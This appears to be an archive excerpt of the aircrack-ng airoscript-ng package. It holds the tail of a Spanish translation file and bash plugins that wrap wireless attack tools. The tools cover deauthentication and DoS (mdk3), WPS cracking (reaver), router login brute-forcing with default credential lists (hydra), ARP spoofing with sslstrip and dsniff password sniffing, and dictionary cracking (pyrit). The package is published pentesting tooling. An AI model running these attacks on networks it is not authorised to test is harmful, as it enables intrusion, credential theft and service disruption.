msgid "Choose ap mac " msgstr "Elegir mac del punto de acceso " #: src/functions/attacks/others:258 msgid "Choose source mac" msgstr "Elegir mac de origen " #: src/functions/attacks/others:258 msgid "Chosse Source IP" msgstr "Elegir ip de origen" #: src/functions/attacks/others:258 msgid "Choose router ip" msgstr "Elegir ip de router" #: src/functions/attacks/others:258 msgid "Execute" msgstr "Ejecutar" #: src/functions/attacks/others:258 msgid "Return" msgstr "Volver" #: src/functions/attacks/others:259 msgid "Anser: " msgstr "Respuesta: " #: src/functions/attacks/others:286 msgid "Do you want to use airserv-ng? [y/N] " msgstr "¿Quieres usar airserv-ng?" #: src/functions/attacks/others:288 msgid "Start a local server? [y/N] " msgstr "Usar un servidor local? [y|N]" #: src/functions/attacks/others:290 msgid "Enter airserv-ng address [127.0.0.1:666]" msgstr "Introduzca ip de airserv-ng [127.0.0.1:666]" #: src/functions/attacks/wep:34 msgid "${mark}${red}Wep attacks${end}\\n" msgstr "${mark}${red}Attaques WEP${end}\\n" #: src/functions/attacks/wep:48 msgid "Attacks using a client" msgstr "Usando un cliente" #: src/functions/attacks/wep:50 msgid "Fragmentation attack" msgstr "Ataque de fragmentacion" #: src/functions/attacks/wep:51 msgid "Chopchop attack" msgstr "Ataque chopchop" #: src/functions/attacks/wep:78 msgid "Enter destination mac: (FF:FF:FF:FF:FF:FF)" msgstr "Introduzca mac de destino (FF:FF:FF:FF:FF:FF)" #: src/functions/attacks/wep:87 msgid "Cafe Latte Attack on: $Host_SSID " msgstr "Ataque caffe latte en $Host_SSID" #: src/functions/attacks/wep:97 msgid "Interactive Packet Sel on: $Host_SSID" msgstr "Seleccion interactiva de paquetes en $Host_SSID" #: src/functions/attacks/wep:109 msgid "Fragmentation w/o client" msgstr "Fragmentacion sin cliente" #: src/functions/attacks/wep:126 msgid "Chopchoping at $Host_SSID" msgstr "Chopchopeando $Host_SSID" #: src/functions/attacks/wep:131 msgid "Directed ChopChoping to $Client_MAC at $Host_SSID" msgstr "Chopchop dirigido a $Client_MAC en $Host_SSID" #: src/functions/attacks/auth:18 msgid "Autentication menu" msgstr "Menu de autenticacion" #: src/functions/attacks/auth:18 msgid "Fake autentication" msgstr "Autenticacion falsa" #: src/functions/attacks/auth:18 msgid "Deautentication" msgstr "Desautenticacion" #: src/functions/attacks/auth:33 msgid "Who do you want to deauth?" msgstr "¿A quien quieres deautenticar?" #: src/functions/attacks/auth:33 msgid "Everybody" msgstr "A todos" #: src/functions/attacks/auth:33 msgid "Myself (fake mac)" msgstr "A mi mismo (mac falsa)" #: src/functions/attacks/auth:33 msgid "Selected client" msgstr "Cliente seleccionado" #: src/functions/attacks/auth:40 msgid "Deauth All" msgstr "Desautenticando a todos" #: src/functions/attacks/auth:41 msgid "Deauth client" msgstr "Desautenticando al cliente" #: src/functions/attacks/auth:42 msgid "Deautenticating" msgstr "Desautenticando" #: src/functions/attacks/auth:50 msgid "Fake Auth Method" msgstr "Metodo de autenticacion falsa" #: src/functions/attacks/auth:50 msgid "Conservative" msgstr "Conservador" #: src/functions/attacks/auth:50 msgid "Progressive" msgstr "Progresivo" #: src/functions/attacks/auth:50 msgid "Xor Injection" msgstr "Inyeccion XOR" #: src/functions/_internal:155 msgid "" " Airoscript is provided under the gpl.\n" "I'm not responsible of the use anyone can give to airoscript.\n" "Written for educational purpose in mind.\n" "" msgstr "" "Airoscript se provee bajo la GPL\n" "No soy responsable del uso que nadie pueda darle a airoscript\n" "Airoscript ha sido escrito con objetivo educativo\n" "" #: src/functions/_internal:180 msgid "Enter extra options to execute: " msgstr "Introduzca opciones extra" #: src/functions/_internal:205 msgid "Debug Mode enabled, you'll have to manually close windows" msgstr "Modo debug activado" #: src/functions/_internal:218 msgid "[INFO] Output folder is" msgstr "[INFO] El directorio de salida es " #: src/functions/_internal:221 msgid "[Error] Output folder does not exists or is a regular file." msgstr "[Error] El directorio de salida no existe o no es un directorio" aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/0000755000000000000000000000000012660222377021450 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/hydra_logins0000644000000000000000000000143012320564216024045 0ustar rootroot#DEPENDS: FALSE abd234 Access address admin Admin ADMIN administrator Administrator amber any Any apc apcuser ARN AWARD_SW bill blank change_on_install correct db2admin debug demos, device Docsis eagle GatorSurf guest Guest hardware hci hdms hello HELLO ibm Internet IRIX j11-16 janta least letmein Linux lp LR-ISDN lucy99 M10 M250L Mail manager Manager MANAGER Managment mara Master masterkey me MGR Modem module monitor ncadmin NetCache netman None notes operator OPERATOR oracle OS OS/2 password pixadmin pkoolt Point PR Pro public qpgmr qsecofr QSECOFR QSRV QSRVBAS qsysopr QUSER readwrite root router Routers rsadmin security Serial setup/snmp siteadmin Speed Standalone start superuser surt switch Switch switches sysadm system tech tr650 trade user User Windows Wireless wradmin zynos aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/reload0000644000000000000000000000313212320564216022632 0ustar rootroot#! /bin/bash # Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. ! /bin/bash declare -a -x enabled_plugins declare -a p_menu _source(){ for cfile in $@; do if [ -f $cfile ] && [ -O $cfile ]; then source $cfile; else if [ "$debug" == 1 ]; then echo "Could not load $cfile"; sleep 0.2 ;fi; fi; done; } [[ ! $path ]] && { [[ $(dirname ${BASH_SOURCE[0]}) =~ "local" ]] && { path=/usr/local/share/airoscript-ng _source "/usr/local/etc/airoscript-ng_advanced.conf /usr/local/etc/airoscript-ng.conf" } || { _source "/usr/etc/airoscript-ng_advanced.conf /usr/etc/airoscript-ng.conf" _source "/etc/airoscript-ng_advanced.conf /etc/airoscript-ng.conf" path=/usr/share/airoscript-ng } } _source "$path/_internal $path/menu $path/interface" _source "$path/themes/$theme" || default_theme aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/bash0000644000000000000000000000065712266364025022317 0ustar rootrootecho "Welcome to the airoscript-ng bash plugin" echo "This plugin will load bash, with all the needed variables to make wireless pentesting much faster and typeless, without loosing the power of the console and aircrack-ng" echo "You can check for Host_MAC Host_SSID and so on variables" echo "Have a look at the autocompletion features! (try airodump-ng -- AIROSCRIPT_)" echo "To return to airoscript, write exit" bash aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/wkhtmltopdf0000644000000000000000000000176112320564216023735 0ustar rootroot# pdf reports #DEPENDS: wkhtmltopdf # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. pdf_report(){ wkhtmltopdf $DUMP_PATH/$Host_MAC.report.html $DUMP_PATH/$Host_MAC.report.pdf ; } make_report(){ _make_report ; pdf_report ; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/mdk30000644000000000000000000000370612320564216022231 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. #DEPENDS: mdk3 # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. MDK3=mdk3 p_menu+=( "Mdk3 Attacks" ); Mdk3_Attacks(){ if [ $( whereis mdk3) ]; then while true; do $clear; mkmenu "Choose MDK3 Options" "Deauthentication"\ "Prob selected AP" "Select another target"\ "Autentication DoS" "Return to main menu" read yn case $yn in 1 ) mdkpain ; break ;; 2 ) mdktargetedpain ; break ;; 3 ) mdknewtarget ; break ;; 4 ) mdkauth ; break ;; 5 ) break ;; * ) echo $"Unknown response. Try again" ;; esac done else warn "Sorry, this is not installed on your system" fi } mdkpain(){ execute "MDK3 Pain" $MDK3 $wifi d & choosemdk } mdktargetedpain(){ execute "MDK3 Targeted pain" $MDK3 $wifi p -b a -c $Host_CHAN -t\ $Host_MAC & choosemdk } mdknewtarget(){ selectAp choosemdk } mdkauth(){ execute "MDK3 AUTH" $MDK3 $wifi a & choosemdk } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/reaver0000644000000000000000000000304012320564216022646 0ustar rootroot#! /bin/bash # Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. #DEPENDS: reaver # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Crack with reaver") extend_menu[Select WPA Attack]="Crack with reaver" Crack_with_reaver(){ [[ $Host_MAC ]] && { execute "Reaver" reaver -i $wifi -b $Host_MAC &> $DUMP_PATH/reaver_$Host_MAC.log cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPS PIN|WPA PSK| AP SSID" && echo "Press enter to continue" || echo "${mark} Reaver could not get the key, press enter to continue" cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" && { cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" >> $DUMP_PATH/$Host_MAC.key } } || { echo "${mark} You have to select a network first" } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/mouse_support0000644000000000000000000000330012320564216024305 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. is_number(){ [[ $1 =~ ^[0-9]+$ ]] } function get_mouse_position(){ _STTY=$(stty -g) echo -en "\e[?1000h"; read -n12 x &>/dev/null ; echo -en "\r \r"; echo -en "\e[?1000l" is_number $x && { echo $x; choice=$x; return; } stty "$_STTY" m1=${x#???} m2=${x#????} m3=${x#?????} eval "$(printf "mb=%d mx=%d my=%d" "'$m1" "'$m2" "'$m3")" [ $mx -lt 0 ] && mx=$(( 255 + $mx )) [ $my -lt 0 ] && my=$(( 255 + $my )) BUTTON=$(( ($mb & 3) + 1 )) MOUSEX=$(( $mx - 32 )) MOUSEY=$(( $my - 32 )) choice=$(($MOUSEY - $Y_OFFSET)) ans=$choice; echo $choice; } mkmenuheader(){ $clear; stty -echo; echo -n $'\e[6n'; read -d R x; stty echo; a=$(( $(echo ${x#??} |cut -d\; -f1) + 1 )) Y_OFFSET=$a; echo -en "\033[$(($2 / 2 - (${#1} / 2 - 10) ))C$1\n"; } _read(){ get_mouse_position } special_single_question(){ get_mouse_position } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/dsniff0000644000000000000000000000475612320564216022652 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. #DEPENDS: dsniff # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Use this ON YOUR OWN NETWORKS, UNDER YOUR OWN RESPONSABILITY. # THIS IS A CRUDE ATTACK, YOU'RE PROBABLY GOING TO GET CAUGHT IF YOU MISUSE IT. p_menu+=("Sniff connections with dsniff") check_function enable_forwarding || source $path/plugins/forwarding check_function arpspoof || source $path/plugins/arpspoof check_function airtunmenu || source $path/attacks/others execute_dsniff(){ execute "Sniffing virtual interface" dsniff -i at0 -w /tmp/dsniff.keys execute "Current passwords" tail -f /tmp/dsniff.keys } get_ip(){ dhclient at0 && { target_router_ip=$(ip route list dev at0 |awk '/default/ { print $3}' ); target_ip=$(ip route list dev at0| awk '/src/ {print $7}' ) } || { single_question "Cant configure network, enter 'Victim_ip,router_ip' "; target_ip=$(cut -d, -f1 <<< $ans) target_router_ip=$(cut -d, -f1 <<< $ans) } } Sniff_connections_with_dsniff(){ warn "$mark Enabling ip forwarding "; enable_forwarding warn "$mark Enabling port redirect "; enable_traffic_redirect warn "$mark Getting network ip address"; get_ip warn "$mark Killing airtun to remove possible old at interfaces" clean_airtun warn "$mark Launching airtun to create at0"; airtunmenu warn "$mark Launching helpers defined in other plugins"; for i in "${dsniff_helpers[@]}"; do $i; done warn "$mark Starting dsniff" execute_dsniff warn "$mark Press enter to stop the attack"; read disable_ip_forwarding; disable_traffic_redirect; killall dsniff ${dsniff_helpsers[@]}; clean_airtun } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/tcpdstat0000644000000000000000000000226512320564216023220 0ustar rootroot#tcpdstats #DEPENDS: tcpdstat # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Show tcpdstats report on cracked network"); Show_tcpdstats_report_on_cracked_network(){ _tcpdstat; less $DUMP_PATH/$Host_MAC.report_proto_stats } _tcpdstat(){ airdecap-ng -w `cat $DUMP_PATH/$Host_MAC.key` $DUMP_PATH/$Host_MAC-01.cap tcpdstat $DUMP_PATH/$Host_MAC-01-dec.cap &> $DUMP_PATH/$Host_MAC.report_proto_stats } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/arpspoof0000644000000000000000000000234412320564216023221 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. #DEPENDS: arpspoof # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Enable arp spoof on dsniff usage"); Enable_arp_spoof_on_dsniff_usage(){ dsniff_helpers+=('arpspoof');} function arpspoof(){ execute "Arp spoofing 2" arpspoof -t $target_ip $target_router_ip execute "Arp spoofing 1" arpspoof -t $target_router_ip $target_ip } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/yad0000644000000000000000000000426512320564216022151 0ustar rootroot# Copyright (2011) David Francos Cuartero #DEPENDS: yad # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This can also be used as skeleton for airoscript override-functions plugin. export mark=""; warn(){ notify-send -i "$path/../doc/airoscript-ng/airoscript-ng.png" "Airoscript notification" "${@}"; } yesno(){ zenity --question $@; } single_question(){ ans=`zenity --entry --text "${@}"`; } mkmenuheader(){ return; } mkmenuline(){ return; } mkmenueline(){ return; } mkmenu(){ title=$1; shift; declare -a res; args=("${@}"); for i in ${!args[@]}; do res+=( "$i" "${args[$i]}" ); done ; choice=$(yad --class="airoscript-ng" --window-icon="/usr/local/share/pixmaps/airoscript-ng.png" --separator=" " --list --width=450 --height=250 --title="$title" --text "Select an action:" --column=" " --column="n" --no-headers=1 "${res[@]}" --print-column=1;) [[ $? == 1 ]] && [[ $title == "Main Menu" ]] && exit } selectap_wrapper(){ choice=$(yad --class="airoscript-ng" --window-icon="/usr/local/cal/share/pixmaps/airoscript-ng.png" --separator=" " --list --width=450 --height=250 --title="$title" --text "Select an action:" --column "position" --column "MAC" --column "Channel" --column "Privacy" --column "POWER" --column "LENGHT" --column "ESSID" --hide-column=1 "${res[@]}" --print-column=1;) } launch_counter(){ ( for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )); sleep 1; echo "$a"; done ) | zenity --text "Scanning for targets" --progress --auto-close --title="Scanning for targets"; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/sslstrip0000644000000000000000000000220212320564216023244 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) #DEPENDS: sslstrip # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Enable sslstrip on dsniff usage"); Enable_sslstrip_on_dsniff_usage(){ dsniff_helpers+="sslstrip"; } sslstrip(){ execute "SSlstripping" sslstrip -a -k -f -l 8080 & } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/pyrit0000644000000000000000000000371112320564216022536 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Crack_password_with_pyrit_error() { warn "${mark}You cannot crack this network. Packages not collected"; } p_menu+=("Crack password with pyrit") pyrit_attacks=(attack_batch attack_cowpatty attack_db attack_passthrough batch benchmark create_essid delete_essid eval export_passwords export_cowpatty export_hashdb import_passwords import_unique_passwords list_cores list_essids passthrough relay selftest serve strip stripLive verify ) Crack_password_with_pyrit(){ [[ ! -e $DUMP_PATH/$Host_MAC-01.cap ]] && Crack_password_with_pyrit_error || { read -i "$default_pyrit_dictionary" -p "Enter dictionary " pyrit_dictionary pyrit_opts="-b \"$Host_MAC\" -e \"$Host_SSID\" -i \"$pyrit_dictionary\" -o \"$DUMP_PATH/$Host_MAC.pyrit_key\" -r \"$DUMP_PATH/$Host_MAC-01.cap\" " mkmenu "Select pyrit attack" ${pyrit_attacks[@]} read -i "$custom_opts" "Add any custom pyrit opt you want (e.j, remote servers, relay stuffs...): " custom_opts execute "pyrit attack" pyrit $pyrit_opts ${pyrit_attacks[$choice - 1]} && cp $DUMP_PATH/$Host_MAC.pyrit_key $DUMP_PATH/$Host_MAC.key } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/hydra_passwords0000644000000000000000000000116012320564216024577 0ustar rootroot#DEPENDS: FALSE admin Admin **ADMIN administrator all All ALL ami answer any Any apc attack Babylon bill bintec cablemodem calvin (cannot CAROLIAN CCC changeme cmaker COGNOS Database debug default default.password eagle eqadmin ESSEX FIELD.SUPPORT Firewall friend Gandoo guest, HPOFFICE inuvik49 LAN letmein Local look lucenttech1 manager Manager MANAGER.SYS Menu MGR.SYS monitor ncadmin NetICs netman netscreen NetSeq none notes NT Num ods of operator pass password Password Point RedHat Release releases root Routers Scott security setup/nopasswd Sparc sql surecom sys sysadmin system System user User Windows write xyzzy aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/xterm0000644000000000000000000001134712320564216022532 0ustar rootroot#DEPENDS: xterm export TERMINAL=xterm interfaces+=("xterm"); resolution() { { reso=$( awk '/\*/ {print $1}' <(xrandr) | head -n1; ); } &>/dev/null for i in ${!available_resos[@]}; do [[ ${available_resos[$i]} == $reso ]] && { reson=$reso; pos=$i; }; done [[ $reson != "" ]] && { export resonset=1; markwarn $"Automatically setting resolution to $reso" ; } xhost &>/dev/null || { error $"Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue"; } while true; do [[ $autoset == 1 ]] && { set_resolution_data 2; return; } if [[ ${resonset} == "" ]]; then mkmenu $"Set resolution" ${available_resos[@]}; pos=$choice; fi set_resolution_data $pos [[ $TLX == "" ]] && { $clear; error $"Unknown resolution, try again"; } || break; done } function set_resolution_data(){ while true; do case $1 in 1 ) TLX="83";TLY="11";TRX="60";TRY="18";BLX="75";BLY="18"; BRX="27";BRY="17";bLX="100";bLY="30";bRX="54";bRY="25"; setterminal; break;; 2 ) TLX="90";TLY="11";TRX="60";TRY="18";BLX="78";BLY="26"; BRX="52";BRY="15";bLX="130";bLY="30";bRX="78";bRY="25"; setterminal; break;; 3 ) TLX="92";TLY="11";TRX="68";TRY="25";BLX="78";BLY="26"; BRX="52";BRY="15";bLX="92" ;bLY="39";bRX="78";bRY="24"; setterminal; break;; 4 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36"; BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;; 5 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36"; BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;; 6 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30"; BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;; 7 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30"; BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;; 8 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35"; BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;; 9 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35"; BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;; 10) TLX="130";TLY="40";TRX="68";TRY="25";BLX="130";BLY="40"; BRX="132";BRY="35";bLX="130";bLY="85";bRX="132";bRY="48"; setterminal; break;; * ) break;; esac done } getterminal(){ if [ -x $TERMBIN/$TERMINAL ]; then _debug "Using configured terminal" else _debug "$TERMINAL was not used, not found on path" _debug "Using default terminal" TERMINAL=`ls -l1 /etc/alternatives/x-terminal-emulator|cut -d ">" -f 2|cut -d " " -f 2|head -n1` &>/dev/null; fi if [ -x "$TERMBIN/$TERMINAL" ] || [ -x "/usr/bin/$TERMINAL" ] || [ -x "/usr/sbin/$TERMINAL" ]; then D="1" else if [ -e $TERM ]; then _debug "Using environment defined terminal ($TERM)" TERMINAL=$TERM else if [ -x "$TERMBIN/xterm" ]; then TERMINAL="xterm" && _debug "Using Xterm" else echo $"I cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?" exit fi fi fi } function setterminal { getterminal _debug "Im going to set terminal options for your terminal now" case $TERMINAL in xterm|uxterm ) TOPLEFT="-geometry $TLX*$TLY+0+0 " TOPRIGHT="-geometry $TRX*$TRY-0+0 " BOTTOMLEFT="-geometry $BLX*$BLY+0-0 " BOTTOMRIGHT="-geometry $BRX*$BRY-0-0 " TOPLEFTBIG="-geometry $bLX*$bLY+0+0 " TOPRIGHTBIG="-geometry $bLX*$bLY+0-0 " HOLDFLAG="-hold" TITLEFLAG="-T" FGC="-fg" BGC="-bg" EXECFLAG="-e" ;; gnome-terminal|gnome-terminal.wrapper ) TOPLEFT="-geometry=$TLX*$TLY+0+0 " TOPRIGHT="-geometry=$TRX*$TRY-0+0 " BOTTOMLEFT="-geometry=$BLX*$BLY+0-0 " BOTTOMRIGHT="-geometry=$BRX*$BRY-0-0 " TOPLEFTBIG="-geometry=$bLX*$bLY+0+0 " TOPRIGHTBIG="-geometry=$bLX*$bLY+0-0 " EXECFLAG="-e " HOLDFLAG="" TITLEFLAG="-t" FGC="" DUMPING_COLOR="" INJECTION_COLOR="" ASSOCIATION_COLOR="" DEAUTH_COLOR="" BACKGROUND_COLOR="" BGC="" ;; esac [[ "$debug" = "1" ]] && echo $TOPLEFT \ $TOPRIGHT \ $BOTTOMLEFT \ $BOTTOMRIGHT \ $TOPLEFTBIG \ $TOPRIGHTBIG \ $HOLDFLAG\ $TITLEFLAG\ $FGC\ $BGC\ printf -- "$EXECFLAG \n" } # Resolution stuff available_resos=( 640x480 800x480 800x600 1024x600 1024x768 1280x768 1280x800 1280x1024 1440x900 1600x1200 ) [[ ! $dont_check_x ]] && resolution export termargs="$TOPLEFTBIG $BGC $BACKGROUND_COLOR $FGC $DUMPING_COLOR $EXECFLAG "; aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/iptables0000644000000000000000000000257712320564216023203 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. #DEPENDS: iptables # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. function enable_ip_forwarding(){ echo 1 > /proc/sys/net/ipv4/ip_forward } function enable_traffic_redirect(){ iptables_save > $DUMP_PATH/original_iptables iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 8080 } function disable_traffic_redirect(){ iptables-restore < $DUMP_PATH/original_iptables } function disable_ip_forwarding(){ echo 0 > /proc/sys/net/ipv4/ip_forward } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/hydra0000644000000000000000000000313512320564216022476 0ustar rootroot# Dict generators for airoscript #DEPENDS: hydra # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Crack default router passwords"); hydra_(){ router_ip=$(ip route list dev $wificard |awk '/default/ { print $3}' ); cp $path/plugins/hydra_logins $DUMP_PATH/default_router_logins; cp $path/plugins/hydra_passwords $DUMP_PATH/default_router_passwords; hydra -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip http-get || { hydra -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip http-head; } || { hydra -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip https-head; } } Crack_default_router_passwords(){ configure && hydra_ } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/delay0000644000000000000000000000007312004123752022456 0ustar rootrootread -p $'Welcome to Airoscript-ng. Press enter to start ' 